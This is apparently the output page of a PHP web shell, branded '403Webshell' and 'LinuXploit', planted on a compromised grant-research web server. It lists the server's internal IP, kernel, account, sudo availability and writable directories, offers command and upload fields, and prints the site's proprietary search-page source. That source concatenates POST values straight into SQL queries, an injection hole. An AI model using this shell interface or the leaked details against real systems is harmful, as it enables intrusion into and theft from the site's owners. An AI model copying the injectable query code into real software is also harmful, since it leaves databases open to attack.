403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/governmentgrants.us/vx/usa/search_old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/governmentgrants.us/vx/usa/search_old/index.php
<?
/**
  * This framework has been created for a multitude of grant research websites.
  *
  * @copyright 2016-2021 Synergy Pro Marketing
  * @author Aaron Campbell <aaron@synergymentoring.com>
  *	@license None, All Rights Reserved
  * @package Business
  */
	include_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/inc.php");
	//echo "LEAD: ".$sessionData['lead']."<hr>";

	if(!$guest && $user > 0)
	{
		include_once($_SERVER['DOCUMENT_ROOT']."/vx/usa/lib/formalizeGrants.php");
		$pageFloor = 0;
		$pageLimit = 20;
		$pageSpreadFloor = 0;
		$pageSpreadLimit = ($phone ? 3 : 7);
		$prepositionList = array(" me ", " i ", " in ", " and ", " the ", " then ", " than ", " is ", " a ", " but ", " of ", " we ", " use ", " to ", " too ", " for ", " or ", " are ", " our ", " by ", " not ", " be ", " so ", " with ", " aboard ", " about ", " above ", " across ", " after ", " against ", " along ", " amid ", " among ", " anti ", " around ", " as ", " at ", " before ", " behind ", " below ", " beneath ", " beside ", " besides ", " between ", " beyond ", " by ", " concerning ", " considering ", " despite ", " down ", " during ", " except ", " excepting ", " excluding ", " following ", " from ", " inside ", " into ", " like ", " minus ", " near ", " off ", " on ", " onto ", " opposite ", " outside ", " over ", " past ", " per ", " plus ", " regarding ", " round ", " save ", " since ", " through ", " toward ", " towards ", " under ", " underneath ", " unlike ", " until ", " up ", " upon ", " versus ", " via ", " within ", " without ", " need ", " needed ", " needing ");
		$pluralEnds = array("s", "ms", "ing", "ps", "ds", "bs", "ies", "ed");
		$genders = array( 
							array("full" => "male", "short"=>"m"),
							array("full" => "males", "short"=>"m"),
							array("full" => "man", "short"=>"m"),
							array("full" => "men", "short"=>"m"),
							array("full" => "dad", "short"=>"m"),
							array("full" => "dads", "short"=>"m"),
							array("full" => "father", "short"=>"m"),
							array("full" => "fathers", "short"=>"m"),
							array("full" => "gents", "short"=>"m"),
							array("full" => "gentlemen", "short"=>"m"),
							array("full" => "woman", "short"=>"f"),
							array("full" => "women", "short"=>"f"),
							array("full" => "female", "short"=>"f"),
							array("full" => "females", "short"=>"f"),
							array("full" => "girl", "short"=>"f"),
							array("full" => "girls", "short"=>"f"),
							array("full" => "lady", "short"=>"f"),
							array("full" => "ladies", "short"=>"f"),
							array("full" => "mom", "short"=>"f"),
							array("full" => "moms", "short"=>"f"),
							array("full" => "mothers", "short"=>"f"),
							array("full" => "mother", "short"=>"f")
						);
		$grantTypes = $db->query("SELECT * FROM grdb.grd_types WHERE 1");
		$grantTypeList = array();
		if(!empty($grantTypes)) {
			for($g=0; $g<count($grantTypes); $g++)
			{
				$grantTypes[$g]['name'] = strtolower($grantTypes[$g]['name']); 
				$grantTypeList[] = $grantTypes[$g]['name'];
			}
		}
		$page = 0;
		$grantPage = 0;
		if(isset($_POST['grantPage']))
		{
			$page = $_POST['page'];
			$grantPage = $_POST['grantPage'];
			if($page > ($pageSpreadLimit/2))
			{
				$pageSpreadFloor = round(($page - ($pageSpreadLimit / 2)));
				$pageSpreadLimit = round(($page + ($pageSpreadLimit / 2)));
				$pageFloor = ($page * $pageLimit);
			}
			else
			{
				$pageFloor = ($page * $pageLimit);
			}
		}
		
		include($_SERVER['DOCUMENT_ROOT']."/vx/usa/search/functions/clean_keyword.php");

		if(count($keywordData) > 1)
		{
			include($_SERVER['DOCUMENT_ROOT']."/vx/usa/search/functions/multi_word_query.php");
		}
		else
		{
			include($_SERVER['DOCUMENT_ROOT']."/vx/usa/search/functions/single_word_query.php");
		}
		if(!empty($_POST['grantPage'])) {
			track_member_action('Changed Page',$_POST['grantPage']);
		} elseif(!empty($keyword)) {
			track_member_action('Searched',$keyword);
		} else {
			track_member_action('Page Visit','Search Database');
		}
		if(!empty($_SESSION['selectedCategory']))
		{
			$categoryQuery = "
									AND 
										gcat.slug = '".clean($_SESSION['selectedCategory'])."'
								";
		}
		if(!empty($_POST['postSubCategories']))
		{
			$subCategoryQuery = "
									AND
										ggs.subcategories_id IN (".implode(',', $_POST['postSubCategories']).")	
								";
		}
		$keywordQuery = (!empty($keywordQuery)) ? $keywordQuery : '';
		$categoryQuery = (!empty($categoryQuery)) ? $categoryQuery : '';
		$subCategoryQuery = (!empty($subCategoryQuery)) ? $subCategoryQuery : '';
		$searchQuery = "
							SELECT 
									gg.*,
									gusg.id AS favorite,
									gga.did_apply,
									gga.how_much_applied_for,
									gt.name AS grant_type,
									gcat.name AS category_name,
									gcat.slug AS category_slug,
									gcat.icon AS category_icon
							FROM grdb.grd_grants_categories AS ggc

							LEFT JOIN grdb.grd_grants AS gg
								ON gg.grants_id = ggc.grants_id

							LEFT JOIN grdb.grd_grants_applied AS gga
								ON 
									gga.grants_id = gg.grants_id
								AND 
									gga.user = '$user'
								AND 
									gga.site_code = '$siteCode'

							LEFT JOIN grdb.grd_usa_saved_grants AS gusg
								ON 
									gusg.grants_id = gg.grants_id
								AND 
									gusg.client_id = '$user'
								AND 
									gusg.site_code = '$siteCode'

							LEFT JOIN grdb.grd_types AS gt 
								ON gt.types_id = gg.types_id

							LEFT JOIN grdb.grd_categories AS gcat
								ON gcat.categories_id = ggc.categories_id
							
							LEFT JOIN grdb.grd_grants_subcategories AS ggs
								ON ggs.grants_id = gg.grants_id
														
							WHERE
								(
										gg.deadline >= NOW()
									OR
										gg.deadline = '0000-00-00'
								)
								AND
									gg.name <> ''
								AND
									gg.name IS NOT NULL
								AND
									gg.status='active'

									$keywordQuery
									$categoryQuery
									$subCategoryQuery
									
								GROUP BY gg.grants_id 
								ORDER BY gg.ts DESC
						";
		$grantResultCount = 0;
		if(!empty($subCategoryQuery) || !empty($categoryQuery) || !empty($keywordQuery))
		{
			$grantList = $db->query($searchQuery);
			if(count($grantList) > 0)
			{
				$grantResultCount = count($grantList);
				for($i=0; $i<count($grantList); $i++)
				{
					$grantList[$i]['number'] = ($i + 1);
				}
				$grantList = array_slice($grantList, $pageFloor, $pageLimit);
				$grantList = formalizeGrants($grantList, $userDB, $states, $db, $user);
				$grantPages = array();
				$r = 0;
				for($i=0; $i<$grantResultCount; $i++)
				{
					if($i % $pageLimit == false)
					{
						$r++;
						$grantPages[] = $r;
					}
				}
			}
		}
		if(empty($grantList))
		{
			include($_SERVER['DOCUMENT_ROOT']."/vx/usa/search/functions/save_noresult.php");
			include($_SERVER['DOCUMENT_ROOT']."/vx/usa/search/functions/did_you_mean.php");
		}
		else
		{
			include($_SERVER['DOCUMENT_ROOT']."/vx/usa/search/functions/save_result.php");
		}
		include($_SERVER['DOCUMENT_ROOT']."/vx/usa/search/functions/featured_grants.php");
	}
?>
<div class="rb cc" ng-controller="Members" style="<?=(($grantResultCount > 0) ? '' : 'min-height:500px;')?>">

	<div class="cd">
		<?
		if($categoryGrantCount > 0 || ($categoryGrantCount <= 0 && $grantCount > 0))
		{
			?>
			<div class="rb p10 center f18" style="padding-top:20px; padding-bottom:0px;">
				<?
				if($categoryGrantCount > 0)
				{
				?>
					More than
				<?
				}
				else
				{
				?>
					Nearly
				<?
				}
				?>
				<strong>
					<?=number_format(($categoryGrantCount > 0 ? $categoryGrantCount : ceil($grantResultCount / 1000) * 1000))?>
				</strong>searchable
				<div class="rib bold blue rou underline" onclick="$('#swapCategories').fadeIn(200)">{{selectedName}}</div>sources!
			</div>
			<?
		}
		else
		{
			?>
			<div class="rb p10 center f18" style="padding-top:20px; padding-bottom:0px;">
				Sorry, there are no searchable
				<div class="rib bold rou blue" onclick="$('#swapCategories').fadeIn(200)">{{selectedName}}</div>sources.
			</div>
			<?
		}
		?>
		<div class="rb cc">
			<?
			if($phone)
			{
				include('m.search.php');
			}
			else
			{
				include('search.php');
			}
			?>
			<?
			if($grantResultCount == 0)
			{
            ?>
				<div class="rb f14 bold gray pt20">
					Enter a keyword or term and click the magnifying glass
					<br />
					to search for the perfect funding application
				</div>
				<?
			}
			?>
		</div>
	</div>
	<div class="cdl" style="<?=(($grantResultCount > 0) ? '' : 'min-height:500px;')?>"></div>

	<div class="rb">
		<div class="rb left">
			<?
			include('paging.php');
			if($grantResultCount > 0)
			{
				?>
				<div class="rb p10 center f17 bold"> 
					<?=number_format($pageFloor + 1)?> - <?=(($grantResultCount < ($pageFloor + $pageLimit)) ? number_format($grantResultCount) : number_format($pageFloor + $pageLimit))?>
					of <?=number_format($grantResultCount)?> <?=((!empty($keyword) || !empty($searchState) || !empty($searchCategory)) ? 'found' : 'funding sources')?>
				</div>
				<?
			}
			if(!empty($otherLikeResults))
			{
				?>
				<div class="rb cc">
					<div class="rib p10 f18 dark-gray cc">
						Did you mean?
						<div class="rb">
							<?
							for($i=0; $i<count($otherLikeResults); $i++)
							{
								?>
								<div class="rib f13 bblue rou noselect" style="padding:0px 10px 10px 0px;"
									onclick="$('#searchKeyword').val('<?=$otherLikeResults[$i]['keyword']?>'); $('#searchForm').submit();">
									<?=$otherLikeResults[$i]['keyword']?>
								</div>
								<?
							}
							?>
							<div class="rb bborder"></div>
						</div>
					</div>
				</div>
				<?
			}
			if($grantResultCount > 0)
			{
				?>
				<div style="height:5px;"></div>
				<?
			}
			else
			{
				?>
				<div style="height:40px;"></div>
				<?
			}
			if($grantResultCount == 0 && !empty($ogKeyword))
			{
				?>
				<div class="rb p20 cc"> 
					<div class="f24 lred bold">
						No Results?
					</div>
					<div class="f18 dark-gray">
						Set up Email Alerts and get notified when this kind of funding becomes available.
					</div>
					<div class="rb" style="height:20px;"></div>
					<div class="rb p10 lred-bg left">
						<div class="rb p10 f18 bold white">
							My Alerts
						</div>
						<div class="rb cc p20 white-bg bborder" ng-if="myAlerts.length == 0" >
							<div class="rb cc missingAlerts" style="margin-top:-10px;">
								<div class="rb cc f24 title bred bold">
									You have no Alerts! 
								</div>
								<div class="rib cc f18 bold" style="max-width:200px;">
									{{phone ? 'tap' : 'click'}} on the type of funding you want from the list below
								</div>
							</div>
						</div>
						<div class="rb p10 pl20 white-bg bborder"
							ng-repeat="(key, alert) in myAlerts">
							<div class="rb f16" style="max-width:300px;">
								<span class="glyphicons {{alert.icon}}" style="margin:-4px; margin-right:4px;"
									ng-if="!phone"></span>
								{{alert.name}}
							</div>
							<div class="ab f20" style="right:20px; top:7px;"
								ng-click="setAlert(alert)">
								<i class="fa fa-times-circle xremove"></i> 
							</div>
						</div>
					</div>
					<div class="rb white-bg left"
						ng-repeat="(key, alerts) in alertCategories">
						<div class="rb p10 f18 bold pointer searchAlertCategory"
							ng-click="showAlerts[key] = !showAlerts[key]"> 
							{{key | prettify}}
						</div>
						<div class="rb p10 pl20 myAlerts" style="border:1px solid #ccc; border-top:0px;"
							ng-repeat="alert in alerts | notInArray:myAlerts:'name'"
							ng-click="setAlert(alert)" ng-show="showAlerts[key]">
							<div class="f16">
								{{alert.name}}
							</div>
							<div class="ab f20" style="right:20px; top:7px;">
								<i class="fa fa-plus xadd"></i>
							</div>
						</div>
					</div>
				</div>
				<?
			}
			?>
			<div id="searchResults" class="rb pl20 pr20">
				<?
					if($phone)
					{
						$field = 'grantList';
						$fieldType = 'Loading';
						include($_SERVER['DOCUMENT_ROOT']."/vx/usa/layout/inc/m.grant.php");
					}
					else
					{
						$field = 'grantList';
						$fieldType = 'Loading';
						include($_SERVER['DOCUMENT_ROOT']."/vx/usa/layout/inc/grant.php");
					}
				?>
			</div>
			<?
			include('paging.php');
			?>
		</div>
	</div>

</div>
<?
	/*
	if($debug)
	{	
		$searchQuery = str_replace("SELECT", "SELECT<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $searchQuery);
		$searchQuery = str_replace(",", ",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $searchQuery);
		$searchQuery = str_replace("LEFT JOIN", "<br>LEFT JOIN", $searchQuery);
		$searchQuery = str_replace("INNER JOIN", "<br>INNER JOIN", $searchQuery);
		$searchQuery = str_replace("( ", "( <br>", $searchQuery);
		$searchQuery = str_replace(" )", "<br>) ", $searchQuery);
		$searchQuery = str_replace("WHERE", "<br>WHERE<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $searchQuery);
		$searchQuery = str_replace("ON", "<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ON ", $searchQuery);
		$searchQuery = str_replace("OR ", "<br>OR<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $searchQuery);
		$searchQuery = str_replace("ORDER BY", "<br>ORDER BY", $searchQuery);
		$searchQuery = str_replace("GROUP BY", "<br>GROUP BY", $searchQuery);
		$searchQuery = str_replace("AND", "<br>AND<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;", $searchQuery);
		echo $searchQuery;
	}
	*/
	$title = "Advanced Searching : ".$siteName;
  	include_once($_SERVER['DOCUMENT_ROOT']."/vx/usa/layout/body.php");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit